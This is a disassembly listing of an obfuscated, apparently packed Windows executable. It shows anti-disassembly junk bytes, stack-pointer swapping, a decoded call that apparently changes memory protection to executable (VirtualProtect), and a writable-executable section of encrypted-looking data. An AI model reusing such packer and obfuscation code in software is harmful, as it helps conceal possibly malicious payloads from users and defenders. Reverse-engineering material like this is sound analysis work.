; ---------------------------------------------------------------------------
		dd 99622019h, 0F2961CAAh
		db 57h,	63h, 0C5h
; ---------------------------------------------------------------------------


loc_42AE3F:				; CODE XREF: DMN0:loc_42AE32j
		xchg	eax, ebp
		jmp	short loc_42AE58
; ---------------------------------------------------------------------------
		db 6Dh
		dd 0F872D1C1h, 9F117069h, 73348E3Bh, 0C9CE63D4h, 0E9E811D1h
; ---------------------------------------------------------------------------


loc_42AE58:				; CODE XREF: DMN0:0042AE41j
		xchg	esi, ebp
		jmp	short loc_42AE67
; ---------------------------------------------------------------------------
		dd 0E4C80DDh, 0B2A45532h
		db 0E2h, 13h, 0B9h
; ---------------------------------------------------------------------------


loc_42AE67:				; CODE XREF: DMN0:0042AE5Aj
		bswap	eax
		dec	esi
		jz	short loc_42AEE3
		xchg	ebx, ebx
		xchg	esi, ebx
		neg	eax
		jmp	short loc_42AE8B
; ---------------------------------------------------------------------------
		dd 612A8AC0h, 69CC3E42h, 49137A6Ch, 0BA225A70h,	1F4B88D9h
		db 0B9h, 37h, 0A5h
; ---------------------------------------------------------------------------


loc_42AE8B:				; CODE XREF: DMN0:0042AE72j
		xchg	edi, ebx
		std
		jmp	short loc_42AE93
; ---------------------------------------------------------------------------
		db 3Fh,	0C8h, 3Bh
; ---------------------------------------------------------------------------


loc_42AE93:				; CODE XREF: DMN0:0042AE8Ej
		jmp	short loc_42AE96
; ---------------------------------------------------------------------------
		push	esi


loc_42AE96:				; CODE XREF: DMN0:loc_42AE93j
		jmp	short loc_42AE9B
; ---------------------------------------------------------------------------
		db 0D1h, 0C3h, 0B9h
; ---------------------------------------------------------------------------


loc_42AE9B:				; CODE XREF: DMN0:loc_42AE96j
		xchg	ebp, esp
		jmp	short loc_42AEA1
; ---------------------------------------------------------------------------
		db 0F4h
		db 63h
; ---------------------------------------------------------------------------


loc_42AEA1:				; CODE XREF: DMN0:0042AE9Dj
		jmp	short loc_42AEBB
; ---------------------------------------------------------------------------
		db 34h
		dd 76772B28h, 0A5D1B802h, 0F733AC12h, 26F13F86h, 0B5A4E1A6h
		db 0C7h, 0F1h, 5Bh
; ---------------------------------------------------------------------------


loc_42AEBB:				; CODE XREF: DMN0:loc_42AEA1j
		jmp	short $+2
		jmp	short loc_42AEDC
; ---------------------------------------------------------------------------
		db 0B3h
		dd 55BED291h, 70814940h, 8F931328h, 0BF7B3D6h, 0E3673EF2h
		dd 2EBBDD38h, 0B95B6D61h
; ---------------------------------------------------------------------------


loc_42AEDC:				; CODE XREF: DMN0:0042AEBDj
		xchg	esp, ecx
		jmp	loc_42A8B3
; ---------------------------------------------------------------------------


loc_42AEE3:				; CODE XREF: DMN0:0042AE6Aj
		xchg	ebp, esp
		xchg	esp, ecx
		bswap	edx
		jmp	short loc_42AEF6
; ---------------------------------------------------------------------------
		db 0Bh
		dd 803645BFh, 9494B1BFh
		db 50h,	0BFh
; ---------------------------------------------------------------------------


loc_42AEF6:				; CODE XREF: DMN0:0042AEE9j
		jmp	short loc_42AF17
; ---------------------------------------------------------------------------
		dd 0C3634075h, 85A14CE4h, 0AA4EA0B6h, 5FB15A56h, 987F0F58h
		dd 797A28B1h, 984CED57h
		db 0B8h, 66h, 52h
; ---------------------------------------------------------------------------


loc_42AF17:				; CODE XREF: DMN0:loc_42AEF6j
		inc	edx
		cld
		jmp	short loc_42AF1E
; ---------------------------------------------------------------------------
		pop	edi
		push	ebp
		daa


loc_42AF1E:				; CODE XREF: DMN0:0042AF19j
		jmp	short loc_42AF39
; ---------------------------------------------------------------------------
		dd 0DE62EA07h, 0B61E1592h, 0FCC1868Ch, 0CDFA0062h, 4FEC12DBh
		dd 9167279Ch
		db 7Ch
; ---------------------------------------------------------------------------


loc_42AF39:				; CODE XREF: DMN0:loc_42AF1Ej
		jmp	short loc_42AF46
; ---------------------------------------------------------------------------
		db 0C0h
		dd 0DE2A3456h, 3ECFE28Fh
		db 7Dh,	80h
; ---------------------------------------------------------------------------


loc_42AF46:				; CODE XREF: DMN0:loc_42AF39j
		jmp	short loc_42AF65
; ---------------------------------------------------------------------------
		dd 6A3DC1AAh, 0C7B2CE2Dh, 0DA62A14Fh, 0BA014437h, 312B59C6h
		dd 757CF078h, 15F5B1B5h
		db 78h
; ---------------------------------------------------------------------------


loc_42AF65:				; CODE XREF: DMN0:loc_42AF46j
		jmp	short loc_42AF85
; ---------------------------------------------------------------------------
		db 7Ch
		dd 3D7E584Ch, 2A15F6ACh, 629A9786h, 5FB76717h, 482970B9h
		dd 0EE3FABD9h, 93ACF719h
		db 0DFh
; ---------------------------------------------------------------------------


loc_42AF85:				; CODE XREF: DMN0:loc_42AF65j
		jmp	short loc_42AF8E
; ---------------------------------------------------------------------------
		db 16h
		dd 0B09D5E14h
		db 99h,	0Dh
; ---------------------------------------------------------------------------


loc_42AF8E:				; CODE XREF: DMN0:loc_42AF85j
		cld
		jmp	short loc_42AF9B
; ---------------------------------------------------------------------------
		db 2Ch,	6Ah, 0D3h
		dd 90D2E1CEh
		db 62h,	0D9h, 5Bh
; ---------------------------------------------------------------------------


loc_42AF9B:				; CODE XREF: DMN0:0042AF8Fj
		pop	edx
		add	edx, 0DE8EBF51h
		jmp	short loc_42AFAF
; ---------------------------------------------------------------------------
		dd 71632706h, 0CA8F0301h
; ---------------------------------------------------------------------------
		inc	esi
		fstp	dword ptr [esi]


loc_42AFAF:				; CODE XREF: DMN0:0042AFA2j
		jmp	short loc_42AFB2
; ---------------------------------------------------------------------------
		cmpsd


loc_42AFB2:				; CODE XREF: DMN0:loc_42AFAFj
		jmp	short loc_42AFC1
; ---------------------------------------------------------------------------
		dd 568533B1h, 0BB87A078h, 0C4F8B154h
		db 0B7h
; ---------------------------------------------------------------------------


loc_42AFC1:				; CODE XREF: DMN0:loc_42AFB2j
		jmp	short loc_42AFD5
; ---------------------------------------------------------------------------
		db 0F2h
		dd 0ECA31553h, 13FFF015h, 94B46419h, 0A6323D8Eh
		db 21h
; ---------------------------------------------------------------------------


loc_42AFD5:				; CODE XREF: DMN0:loc_42AFC1j
		jmp	short loc_42AFE6
; ---------------------------------------------------------------------------
		db 7Ch
		dd 5CEFDA06h, 964D1DDh,	0CA007CD2h
		db 0D9h, 7Fh
; ---------------------------------------------------------------------------


loc_42AFE6:				; CODE XREF: DMN0:loc_42AFD5j
		jmp	short loc_42B004
; ---------------------------------------------------------------------------
		dd 0B5D8AF4Eh, 56BB998Fh, 9D9D3182h, 612F8E7Fh,	0C4D24FA2h
		dd 4875B378h, 0CB4712F8h
; ---------------------------------------------------------------------------


loc_42B004:				; CODE XREF: DMN0:loc_42AFE6j
		jmp	short loc_42B020
; ---------------------------------------------------------------------------
		dw 4945h
		dd 0DA95521Fh, 0EA73BA4Ch, 4F8D2C7Bh, 8CB83731h, 638D3BF8h
		dd 7F49A046h
; ---------------------------------------------------------------------------


loc_42B020:				; CODE XREF: DMN0:loc_42B004j
		jmp	short loc_42B041
; ---------------------------------------------------------------------------
		dw 888Fh
		dd 248FCC62h, 0AF8D8C51h, 2B2B1A7Fh, 3D28159h, 47FE2C9Dh
		dd 0B8490D76h, 52EDC34Fh
; ---------------------------------------------------------------------------
		pop	edi


loc_42B041:				; CODE XREF: DMN0:loc_42B020j
		jmp	short $+2
		jmp	short loc_42B063
; ---------------------------------------------------------------------------
		db 1Ah,	2Fh, 3Ah
		dd 0C622823Dh, 0E7A0C84Ah, 81568455h, 0F36F4DE1h, 18E8853Fh
		dd 5C5183B5h
		db 0C7h, 7Bh, 1
; ---------------------------------------------------------------------------


loc_42B063:				; CODE XREF: DMN0:0042B043j
		jmp	short $+2
		jmp	loc_42A297

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B06A	proc near		; CODE XREF: DMN0:0042B0D4p

var_24		= dword	ptr -24h
var_18		= byte ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	edx, 12583D39h
		xor	edx, 78EF8E70h
		mov	eax, 10000000h
		add	edx, eax
		add	esp, 10h
		mov	ebp, [esp-10h+arg_4]
		push	edx
		pusha
		push	0
		lea	edx, [esp+18h+var_18]
		push	edx
		push	40h
		push	16C12h
		add	[esp+24h+var_24], 1000h
		push	eax
		add	eax, 1000h
		add	eax, 47023h
		call	dword ptr [eax]
		add	esp, 4
		popa
		retn
sub_42B06A	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	ecx, 8000h
		mov	edx, 76502073h
		mov	eax, 513C6B17h


loc_42B0C4:				; CODE XREF: DMN0:0042B0D1j
		add	eax, 3A1B0B60h
		xor	edx, eax
		add	dx, ax
		rol	edx, 7
		loop	loc_42B0C4
		push	eax
		call	sub_42B06A
		leave
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 5Fh dup(0)
		dd 78450001h, 72507469h, 7365636Fh, 10073h, 74726956h
		dd 506C6175h, 65746F72h, 7463h,	0E000480h, 480h, 6B000000h
		dd 656E7265h, 2E32336Ch, 6C6C64h, 2 dup(0)
		dd 0FFFFFFFFh, 4802Bh, 4801Fh, 5 dup(0)
		dd 47000h, 10h,	3C25h, 574Fh dup(0)
DMN0		ends

; Section 2. (virtual address 00041000)
; Virtual size			: 0002DE4A ( 187978.)
; Section size in file		: 0002DE4A ( 187978.)
; Offset to raw	data for section: 00041000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
DMN1		segment	para public 'CODE' use32
		assume cs:DMN1
		;org 441000h
		assume es:nothing, ss:nothing, ds:DMN0,	fs:nothing, gs:nothing
		dd 7F3E6554h, 0B31454BEh, 0F797CD9Ch, 9B11B3E4h, 1A34ABB8h
		dd 7D8051Fh, 323AABF7h,	0CA2C93C4h, 0A8548144h,	7AD8D80Bh
		dd 0F2A18A18h, 0D7D60810h, 24F4B050h, 8CB7E80Ch, 236D79Fh
		dd 53A90697h, 0C2701AF2h, 45562733h, 5AB068A9h,	6A595285h
		dd 5EA4BE5h, 9C9B0AABh,	66BE36EAh, 9456BB51h, 6E6A089Ah
		dd 2073AA49h, 6FD3FC94h, 0F497CC54h, 0CF2DF344h, 116801C1h
		dd 85FB9698h, 0CA2055E1h, 2B14ECEBh, 0A0B9D5E1h, 5A0EEE4Dh
		dd 84149D0Eh, 0A1BF7033h, 3A0E721h, 0A57957B2h,	0AC84FF38h
		dd 1FCE1B05h, 0A5092FE1h, 0A5A6276Bh, 46499C17h, 19759E57h
		dd 7E0308AAh, 879F6A92h, 0ABE944E5h, 38E52084h,	9AEB4958h
		dd 42D7C4B4h, 0E8F31B0Dh, 5040831Eh, 0AD6B60EAh, 0E7C1CC52h
		dd 5C9707F4h, 0E1B57EE8h, 68AC3718h, 699D7A7Ch,	46B15226h
		dd 2D9F2252h, 7F417BAAh, 0F09188Bh, 0ABBDE35Ah,	0D1A7B70Ch
		dd 31533915h, 7FC39C22h, 254B41Ah, 0A16B01FCh, 0CDA0A282h
		dd 70BED71Ch, 0ABCE19E7h, 8F458948h, 0E04DD82Dh, 0AC6FEDF5h
		dd 2F83165Ch, 0A08E2702h, 6DE8AFFBh, 0E5BA29BCh, 80C87330h
		dd 11FE245Ah, 8C70E80Dh, 4EFABA60h, 0CAEF8500h,	0B840ABB8h
		dd 0BF1699E8h, 95F5F974h, 5D3C28EEh, 0B6166C80h, 0B7B560A6h
		dd 216D482Bh, 48439194h, 3871CE22h, 359AB4Ch, 8601CBC5h
		dd 0D12ED440h, 52609E9Dh, 198FACC5h, 0E58259E4h, 0D1E5162Ah
		dd 0AB1680E5h, 0E2238F6Dh, 9C25B3Ah, 0B4805780h, 76EE28F4h
		dd 42B316D8h, 374389D8h, 0BA754ADh, 5E9E433Eh, 82FD5B1Ah
		dd 94EC6EC5h, 5AC7A7E3h, 3169A74Ah, 0BC967723h,	5E73768Bh
		dd 153931B2h, 8A7934CDh, 9FE2EEEAh, 0B29BBF99h,	595D4A8Eh
		dd 0AC631814h, 17073C69h, 0D1066E82h, 56E3D000h, 6A5ED712h
		dd 6AC8F1C0h, 5D22C09Ah, 0DCE946D4h, 0B662F461h, 33FE9EAFh
		dd 3896F4C0h, 0D326E9EBh, 92E61581h, 7BA7FF84h,	134590BEh
		dd 0F23B0677h, 4BB16CA5h, 0EFA7FDC6h, 22625426h, 0D7DB4877h
		dd 74286303h, 0A7F79C6Ch, 0FDB15396h, 0A373E414h, 0C1F9F484h
		dd 3D83C049h, 5099709Bh, 0EAE3C3B3h, 17201A89h,	0BE3BEF0h
		dd 707A696Fh, 0FDF4BEC9h, 46B8C5F6h, 87B11EE3h,	9EB0575Fh
		dd 61A20859h, 52F88C2Dh, 0FE29EF99h, 39F736A5h,	5D5D41E3h
		dd 0FFE9DBA7h, 429D5655h, 0F081A211h, 6869BD58h, 3FF725BDh
		dd 0C3B3C9FEh, 0E3653E18h, 7C1E0F08h, 0E6D06D7Ah, 9FB3BE67h
		dd 63A7C7DBh, 0B37DE8EBh, 0DB151D67h, 54B5CC68h, 0E9ED8970h
		dd 0A698E2E6h, 2FF0ECD6h, 0BEA90AD0h, 7E60BCC5h, 0D62390EDh
		dd 2FC978AFh, 0A6FA220Dh, 7276933Bh, 7DA476C8h,	0E3D1AC9Dh
		dd 0B299E854h, 0C04DED3Eh, 17C8B383h, 0A86A743Fh, 402EC41Eh
		dd 369C9371h, 3A8F2117h, 0AB40C693h, 0FEAB1BCh,	3D86BF66h
		dd 0C1DAFCF4h, 0DD1A953Fh, 1B2E7EC3h, 0D5D9FFAh, 0B25859A3h
		dd 7FE8D2E1h, 0EB4BBDF6h, 5B876F06h, 0AAEF8C6Fh, 9CA9E77Dh
		dd 0DD71FA44h, 0A75231E7h, 46617F87h, 0F21DFF2Ch, 0F18AA301h
		dd 0D4A5D0F5h, 48A654C1h, 0F82667C5h, 1839B6C0h, 0F95FF492h
		dd 0D25A7ACEh, 40870BD6h, 80BCF47Dh, 0F6BD3996h, 0AC1B9587h
		dd 9F96F7F3h, 2845E0AFh, 0D69AD99Dh, 0DE1B78EDh, 5194C743h
		dd 0B009B730h, 93FE8715h, 9C4EC4DEh, 0BE0C95Ch,	0E4164A14h
		dd 0E856A0FEh, 1FFD5C85h, 0B3FDE100h, 0AB62D61Eh, 0CC09646Ah
		dd 41590425h, 0CDAFD4A9h, 0A43FFDE3h, 9AA28496h, 8E497235h
		dd 72D86C2Ah, 0BC3FACE5h, 0B97A2A27h, 0F807A8B7h, 0C73CE82h
		dd 1493DF6Ch, 37C720CAh, 20100E8Fh, 5C84AD99h, 0E328EFC1h
		dd 0F742DE1Ah, 344B173Bh, 0D22F535Fh, 36748E3Ch, 0A9F2E005h
		dd 5B96FAACh, 0DC00D0CBh, 9B6265A8h, 7CA0FBE5h,	0F874DDDh
		dd 689C8BEFh, 3334101Ch, 0C83BA03Bh, 6F6758E7h,	29845C5Ch
		dd 0E0D77485h, 4F3E381Dh, 0D8DEF4DAh, 0AD9FB5C0h, 94FC9839h
		dd 0DE470ABh, 1C3E1680h, 8539B9CDh, 0DFBF54B2h,	0CB54E143h
		dd 0C2AECB07h, 16DA378h, 0F8ECE6F0h, 79F143h, 50B3D44Ah
		dd 1FBADB75h, 5093C5B2h, 4F272CC9h, 34FC2C05h, 64C93B9Dh
		dd 0DBE9731Dh, 0AF224BB9h, 499003A0h, 0C3BD1622h, 0D1E16DFh
		dd 0B58135F3h, 0A1C70EF3h, 81B8B03Ch, 0BC0397D8h, 9E47AA51h
		dd 8FF7AF8Fh, 0BB841216h, 0A150E11Ch, 63C0D478h, 0EBB58DB1h
		dd 571FAA6Ch, 0F70C067Fh, 257F3771h, 2C400415h,	6062991Ah
		dd 2E82DF09h, 0BD8FD2BAh, 2FB9F5C0h, 3FEF1BDh, 3A7C3E83h
		dd 0C582F2CFh, 0BCFD68A2h, 0AF822170h, 9B60088Eh, 3B011062h
		dd 5AA6C7B8h, 46F68281h, 8A237C0Fh, 10EFC774h, 628434E0h
		dd 0DB3B76F9h, 2620977Ch, 33B34C62h, 0CE52B625h, 70302E16h
		dd 60099DE1h, 0F8EE8200h, 5B1E765h, 0F1B4AB81h,	33CFF994h
		dd 0FF17CD75h, 0D84D252Ch, 86BCD1Dh, 4156C9FAh,	0E960F012h
		dd 3108CE97h, 2560B763h, 163491C9h, 22FA71EFh, 64479A6Fh
		dd 86951B83h, 0CBDCD2D2h, 58621569h, 9DFFD50Ch,	93BF30C5h
		dd 0CDF0ED09h, 0BE7A5748h, 2588930h, 0FBE74E5Dh, 87561BF2h
		dd 0E9EAB2FEh, 0D98599CCh, 13BAE202h, 0CACA6DC4h, 0C81AC9B2h
		dd 0B755C722h, 100B2889h, 0D399F894h, 0F8976662h, 7E51689Eh
		dd 0EE7B3244h, 0DE763DEDh, 67DD6363h, 2DEAA317h, 0F0C719F5h
		dd 0A2E8150Ah, 6CAE31ACh, 4D55EB52h, 677EFC6Ch,	0DE69BC41h
		dd 485DEBEAh, 3A2407ABh, 0B38A5AE7h, 44C98486h,	0DDEEFBF6h
		dd 8959293Ah, 0FAA11FBh, 6F39120Fh, 640633A4h, 0D76F1EEh
		dd 0DD5B1FACh, 0B9D2F232h, 0EE2565ADh, 1A0C4BA2h, 3CA76354h
		dd 1281B8E9h, 0F4CDBB27h, 9C615BBh, 0B87143FFh,	448E5CACh
		dd 0F3FD0822h, 3C85C132h, 2EE5DCD2h, 39A8CBB3h,	0C84B49B8h
		dd 0C6325275h, 4EA235C7h, 25D99FE8h, 0E44E11ECh, 39699423h
		dd 2152782h, 0CD0DF8FDh, 925AB72Bh, 17E20633h, 0BD4C5B78h
		dd 9A8C1904h, 0E33930D9h, 0E09A99A4h, 94E7F2E7h, 0A0864C7Dh
		dd 55BF74Ch, 304C78ADh,	3F4FA814h, 2B7339h, 0B3226CBEh
		dd 8851DF75h, 7DD368A5h, 0D6A579CDh, 5ABF8106h,	23D50DE7h
		dd 0B393131Ch, 0B7E1C27Eh, 130AAFC9h, 0D7F17480h, 0C4673CADh
		dd 8379E13Eh, 65873A1h,	8B77644Dh, 0D31DEA80h, 1AF5EBC8h
		dd 3DD681FAh, 42F31793h, 0F400141Dh, 468E649Eh,	0F8DA41F9h
		dd 0A3B4C973h, 0C84AFFF6h, 2DA68ACEh, 0E287D1EEh, 300FFCE1h
		dd 0E2686B19h, 0C972173Ch, 5D65E95Ah, 130714A1h, 380F64F0h
		dd 0FB909837h, 8674720Dh, 3D245FDEh, 0E293573h,	4DB0B93Bh
		dd 99C7667Fh, 62A9D1E4h, 0FF9B914Bh, 0C1E006E9h, 7D59A686h
		dd 1EFA05AFh, 0EB1D2676h, 6704A8A9h, 3F228DF7h,	4FC5F95Ah
		dd 34BF3C30h, 63358ABAh, 5353E14Eh, 0F9505A28h,	5C7A264Ah
		dd 0A45EBBA6h, 3DD88B90h, 5C46E8BDh, 3A2FD282h,	34FAF0Dh
		dd 46DEC9BCh, 76A14FD8h, 32894027h, 0FCBAE49Ch,	21C1500Ch
		dd 2C93F22Bh, 622F4273h, 35409AF1h, 0DC23EED1h,	11A48E71h
		dd 7E057AD8h, 75B4F5E6h, 0CE8A337Bh, 0A01A6A96h, 59393671h
		dd 0B56AE6D8h, 50D2F089h, 0BC2AED2Eh, 0D3838B1Bh, 73621E17h
		dd 2291F48Eh, 0C9A63250h, 183D363Ch, 237E606Ch,	0F6D41042h
		dd 0C60E8A5Fh, 0FD929F5Ch, 7CA2C6DFh, 453968BDh, 774D6B5Ah
		dd 81F8D736h, 2A62DC14h, 0B9E5A4FBh, 0F1DF7E55h, 0FCCCB429h
		dd 0E2238356h, 95979191h, 0E5BF3122h, 0D0616E08h, 0D20D796Ch
		dd 30C46144h, 431A0ABh
		dd 6F079610h, 6162760Eh, 0BD7DCBCh, 0EA34EADBh,	1D2E4918h
		dd 9E78D9BEh, 42DD3C01h, 6B5A5611h, 6DCCC7E6h, 230219F1h
		dd 0A02CE96Ah, 537DDFCAh, 0A994B6DBh, 74C5BEFEh, 8D0BBD88h
		dd 4A0650D0h, 0DE235A66h, 0F6E9F9EBh, 2DC119EDh, 0E532CC23h
		dd 0B80C5427h, 10C7F44Dh, 6C613E90h, 0EFF584FEh, 0BCC8274Bh
		dd 0C1ADCE8Fh, 8396A4ECh, 0AF2D7F6Dh, 788F66E7h, 0F82CBC80h
		dd 4F63EE5Ah, 0EA203F75h, 31BBE6E2h, 0BE60F290h, 0A72144E1h
		dd 3B88F5BFh, 0B4997Fh,	6CB8E1A5h, 0E5B5253Ch, 94B29927h
		dd 45DE4932h, 4E233D12h, 1A9237F8h, 0A9E16D44h,	0D1C148B7h
		dd 0EE91B849h, 55031E98h, 0E3F4DCEFh, 336C9782h, 0A91BAA2Dh
		dd 13572CF6h, 7C3B3E59h, 44CBE36h, 0AEE148EBh, 0AE0DC6F8h
		dd 0B0CAF94Ah, 0AF5F2DEAh, 0A64A364h, 10B89B9Ah, 64F34206h
		dd 0EE2EDBC7h, 4A95BDAEh, 0A34C8D33h, 38AEBE8Ah, 0A812AFE8h
		dd 8A07EB5Bh, 291E002Ah, 0CD1BB4BFh, 0A97CE495h, 0E40B0B07h
		dd 58D6738Ch, 0B9C10A1Ah, 408398A7h, 0A2847E41h, 105AF676h
		dd 0E2CD3EE2h, 1955DBE5h, 819199E7h, 255061F3h,	0D2AE530Fh
		dd 0B883F412h, 13F98772h, 21512A2Ah, 88BDBCA4h,	0DFBC1230h
		dd 0C536C204h, 433892CDh, 0C89C061Fh, 0A424BCA1h, 5FD2636Dh
		dd 70A3338Ah, 51C9AE72h, 0E964E36h, 0B1912632h,	6EDE2728h
		dd 4967855Ah, 43F949C8h, 31BE7BAh, 916BA00Ah, 9F62426Fh
		dd 0F7252117h, 9A2AB7E6h, 38BD9D23h, 0DEF030D2h, 0B56321B5h
		dd 1DB6F672h, 0BB636ABAh, 388EC8B5h, 5E42152Dh,	0DB1B038Ch
		dd 7C5E478h, 186A9479h,	0A327C7A7h, 6E233BB7h, 8E26C945h
		dd 0D8EF1780h, 781F6A85h, 0D423A80Fh, 4545A1A6h, 4CA8637Ah
		dd 0F2211C3Ch, 0C0C73A9h, 149FD4DAh, 57540971h,	59454C17h
		dd 7688AFB8h, 7B0D3BA9h, 0BE62BD1Bh, 92FFB141h,	0D207F5Eh
		dd 0F5732874h, 27506D05h, 525F4F94h, 5C55BCC8h,	0A22AC677h
		dd 4693E1A7h, 0A49AFDF3h, 0B2AEEF3Fh, 53A18A8h,	8B6BC106h
		dd 0A98C949Fh, 14E80FAAh, 8B775186h, 409FD923h,	3B60DE0h
		dd 6C5DAB50h, 2BA9E5F1h, 680A0C13h, 0B54E5AFDh,	0E3096564h
		dd 0B9AF80C6h, 97DCA009h, 0A08B0FCAh, 7D6EE1BDh, 2A2F11D9h
		dd 463E8857h, 185B050h,	0F3C64272h, 0C9FB4034h,	0C044D3F9h
		dd 1055C855h, 0BD8E22C4h, 19E1E117h, 797EF130h,	8463F996h
		dd 0A9FCD3D0h, 51CF9D76h, 0B426D359h, 0EAC2CE57h, 0E2013610h
		dd 0E64E74B0h, 6DB725BDh, 0A34B191Ah, 692AEDCCh, 97753CB5h
		dd 0E5199822h, 0D23C9C2Eh, 0CB2943A0h, 0AF3C342Eh, 275D50EAh
		dd 5922658h, 586B27AAh,	709FA630h, 7F34072Dh, 0D1ED9767h
		dd 660A7441h, 0AF3ADC69h, 6041DF5h, 5CD50E3Eh, 0A4185AF7h
		dd 5CC255E7h, 6B8B9359h, 0F917D609h, 0C3518D69h, 0FA2A0F99h
		dd 8B8FE67Ch, 0D9DA4A5Ch, 0AD8D4EA0h, 852BD404h, 0B446CD97h
		dd 0E747FC82h, 0E65C01ACh, 21566BF1h, 17CF5128h, 0B288B472h
		dd 3D3E1881h, 0CE09B96Eh, 0F1A25A5Ch, 282735E1h, 0EF75FFCDh
		dd 0FE134964h, 9C7C2C3Fh, 81726902h, 0D5E3E152h, 9A81B1F7h
		dd 0D47D52FDh, 20AA2D5Fh, 397203Fh, 3F3DE8BEh, 10622A59h
		dd 0FFE06D6Dh, 783CFBFDh, 0FCDB558Ah, 0F591E5C9h, 7765A163h
		dd 6C59D736h, 20629597h, 0E42FF638h, 0B3B1B527h, 0A5E99D89h
		dd 0E7C845ECh, 237F2E19h, 0B80E5A43h, 0EFF942F5h, 0F68E4631h
		dd 89991703h, 0FDF8C402h, 0FF33068Eh, 0AB063FFAh, 0FEF020F8h
		dd 6F174179h, 3918F31Dh, 61647AF4h, 528A139Ah, 64ABE4FEh
		dd 0F59C4782h, 0C4C55BCh, 28096546h, 2CCF9BEEh,	7E9A1354h
		dd 0F4587C65h, 5B69040Bh, 6E474853h, 9CBAF50Ch,	6ADD5EA3h
		dd 0F5661E57h, 121DEC00h, 5EF0BD36h, 0F0C79916h, 8AD90E79h
		dd 8B00A223h, 0E96B5EAh, 13528522h, 41E43915h, 0EBCBB29h
		dd 0B97FBE7Fh, 88FF83DDh, 5ADEF636h, 0AAB531h, 7120C355h
		dd 17F6C0DEh, 0D38B971Fh, 5C5C4955h, 0BAD52A3Eh, 0A4782148h
		dd 0EE943E83h, 504F4D07h, 2994A90Bh, 0E37F2B56h, 0B9D31479h
		dd 89466F7Fh, 0C47F3943h, 0AFEFC4E9h, 0FB479346h, 4B117104h
		dd 0FF8F457Dh, 0A1BC9257h, 0ED44FB45h, 0A58DFAFDh, 935E485Dh
		dd 18AF8E4Dh, 232BC90Ch, 5B8250AAh, 29CE97EBh, 321759C3h
		dd 6785591h, 0FD25335Fh, 93CA6D59h, 4C5541AAh, 7E9F2660h
		dd 0FCB3D648h, 71EE9C15h, 4F153F84h, 0F93F80Fh,	2447B3C4h
		dd 60CB0B92h, 82D2F8BEh, 6EE092B2h, 0EE4007DFh,	45E72A58h
		dd 0E78FA616h, 5DD16286h, 0E9FCB8E8h, 0A668DB30h, 0AB8FCBDDh
		dd 30FAD31Eh, 6EEBD5CEh, 222E725Bh, 69ECF119h, 0A81BE53Eh
		dd 0BC14E631h, 26DE1FBCh, 2C6BCE86h, 881A0C34h,	0F7E12E44h
		dd 5A019FD7h, 0E1968402h, 769E3948h, 0C1DAD3C2h, 0CE1C4760h
		dd 4E5F6024h, 0ACFA74CCh, 13E62BE1h, 5A61AE45h,	5B96B6CFh
		dd 0F4F9DC83h, 0FA7FBDA6h, 0A4648F8Dh, 0B8FA6818h, 5CD1702Eh
		dd 85C6AD6Ch, 721F213Dh, 0FFA3345h, 0D06FC994h,	0BA075527h
		dd 35936CBh, 0CA958B63h, 3958DBC6h, 0C34CF12Eh,	21B2E88Bh
		dd 0C52D6F3Ch, 585D1CEEh, 367A45ACh, 0F9EDEF28h, 0F14A066Ah
		dd 29C6392Ch, 6802362Ch, 2E1A9AF2h, 0C562939Ah,	50D7AF0Ch
		dd 73A71E6Eh, 0D5A14967h, 0C989EEB7h, 7353FE29h, 6FF33A3Ah
		dd 3C965290h, 770D0E6Ch, 8E68A557h, 0E183F1E9h,	0F5AA53C5h
		dd 5E9B72B1h, 0E8236376h, 0DF877A1Ah, 0C777BC8Fh, 0D0312F28h
		dd 864841Ah, 81E760B5h,	499787B7h, 0F4F84499h, 39688F6Fh
		dd 37F34697h, 428787F7h, 4F5F42C1h, 78A7CB3Eh, 2A5BB710h
		dd 0FB14D370h, 5396C0A5h, 0F585DF7Ch, 27877212h, 0E68A9BFAh
		dd 87FCE9E9h, 5CAA89C5h, 4AB50469h, 93D90CAAh, 0B37A2DD5h
		dd 9E0045Fh, 6732B25Eh,	0CC5F41A1h, 0EC5B18D8h,	45E2877Bh
		dd 216F6FFh, 3B567917h,	170973CBh, 602C0D3Fh, 1915F909h
		dd 88ED4928h, 8F407747h, 8FCDB801h, 9DF27432h, 0F765F160h
		dd 0D4624BF1h, 11A73660h, 9AC142F3h, 6CB08377h,	25714463h
		dd 1664392Ch, 0ADC2A892h, 79A3EF5Dh, 147BF520h,	0D5416942h
		dd 0AE7922E0h, 82483FD5h, 0C82389D7h, 0D8183E7Bh, 0C47006A0h
		dd 0F51061B5h, 9A8A93E6h, 0EE9F2BEh, 8426EC8Fh,	0B626FAEEh
		dd 47D62799h, 54B73E08h, 0D4FF798Ah, 5977844Ch,	81EA7C19h
		dd 0BF46309Ah, 93A1AB1Dh, 6CB0FF5h, 0BD2BFDCCh,	3EAF2A01h
		dd 0B675D592h, 0B6E7326Ah, 7C52E1BCh, 74C8E5A8h, 73D8561Bh
		dd 0C1DDA9D2h, 0EE03E35Fh, 0A3439DC9h, 0AEF782C2h, 45A47697h
		dd 2E4E2EAFh, 279A3573h, 9FE3069Eh, 0CA988A2Eh,	2FBEAA15h
		dd 23B809A1h, 0E65F6E20h, 0EB13091Ch, 4D85CDFh,	2B8C87A7h
		dd 0FFEDF624h, 0CEEEFB0Eh, 0D0F3E4A4h, 73C31ECCh, 0E5270C55h
		dd 6B4A181Fh, 70F7F997h, 14C306E2h, 0F0967D18h,	10F13EF7h
		dd 17D6EA4Fh, 36D3817Ah, 0EA86FDE4h, 0B8369149h, 25B56514h
		dd 27BABCDBh, 47AF44E7h, 72968F88h, 63848683h, 77DF564Eh
		dd 0C42E1A98h, 5990FB56h, 0FE6A758Fh, 21FE7704h, 8989B70Eh
		dd 0D0677B1Fh, 0EF7DE54h, 0F8A3961Eh, 0D8A64C6Dh, 0C4EA4F5Dh
		dd 0D2252A36h, 31CEFCCEh, 16E4FC9Fh, 5126BB9Dh,	0F083A3BFh
		dd 0E8FA58F5h, 7568DA5Fh, 17D5595Fh, 768BCDC6h,	0B80C8A8Eh
		dd 4B7BB41Dh, 0F5FD0935h, 0FCA6F1ACh, 63D06D9Fh, 75F94DF2h
